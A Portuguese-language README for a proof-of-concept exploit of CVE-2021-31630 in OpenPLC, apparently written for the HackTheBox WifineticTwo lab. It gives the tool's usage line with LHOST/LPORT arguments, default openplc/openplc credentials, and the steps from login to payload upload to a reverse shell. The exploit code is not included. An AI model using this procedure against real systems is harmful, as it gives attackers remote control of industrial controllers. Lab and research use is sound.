CVE-2021-31630 Exploit PoC

Este script Python é uma prova de conceito (PoC) de exploit para CVE-2021-31630, alvejando uma vulnerabilidade no OpenPLC executado na máquina WifineticTwo do HackTheBox. É projetado apenas para fins educacionais, visando demonstrar o processo de exploração em um ambiente controlado.

Aviso

Esta ferramenta destina-se apenas a fins de pesquisa de segurança e educacionais. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. O desenvolvedor não será responsabilizado por quaisquer danos ou acusações criminais contra usuários que façam uso indevido deste exploit.

Pré-requisitos

Antes de executar este exploit, certifique-se de ter:

• Python 3 instalado no seu sistema.
• A biblioteca requests instalada. Você pode instalá-la usando pip install requests.

Uso

Para usar este exploit, você deve especificar a URL do alvo, o IP do host local (LHOST) e a porta local (LPORT) para a qual o reverse shell deve se conectar. Opcionalmente, você pode especificar o nome de usuário e a senha do OpenPLC se eles diferirem do padrão.

./exploit.py --target http://wifinetictwo.htb:8080 --lhost [LHOST] --lport [LPORT] [--usr [USERNAME] --pwd [PASSWORD]]

Argumentos

• --target - Endereço base do alvo. Exemplo: http://wifinetictwo.htb:8080
• --lhost - Endereço IP do host local para o qual o reverse shell irá se conectar.
• --lport - Porta local para a qual o reverse shell irá se conectar.
• --usr - (Opcional) Nome de usuário para o OpenPLC. O padrão é openplc.
• --pwd - (Opcional) Senha para o OpenPLC. O padrão é openplc.

Funcionalidades

• Gerencia automaticamente o processo de login usando as credenciais fornecidas.
• Cria e envia um payload malicioso para alcançar execução remota de código.
• Inicia um reverse shell de volta ao IP e porta especificados pelo atacante.

Processo do Exploit

1. Login: O script faz login no aplicativo OpenPLC usando as credenciais fornecidas.
2. Criação do Payload: Cria dinamicamente um payload malicioso projetado para iniciar um reverse shell.
3. Envio do Payload: Envia o payload criado para o servidor.
4. Disparo do Exploit: Dispara o exploit ao tentar compilar o código malicioso enviado, resultando em um reverse shell.

Agradecimentos

• Agradecimento especial a Fellipe Oliveira que descobriu e reportou CVE-2021-31630.
• HackTheBox por fornecer um ambiente realista para praticar e aprender sobre segurança cibernética.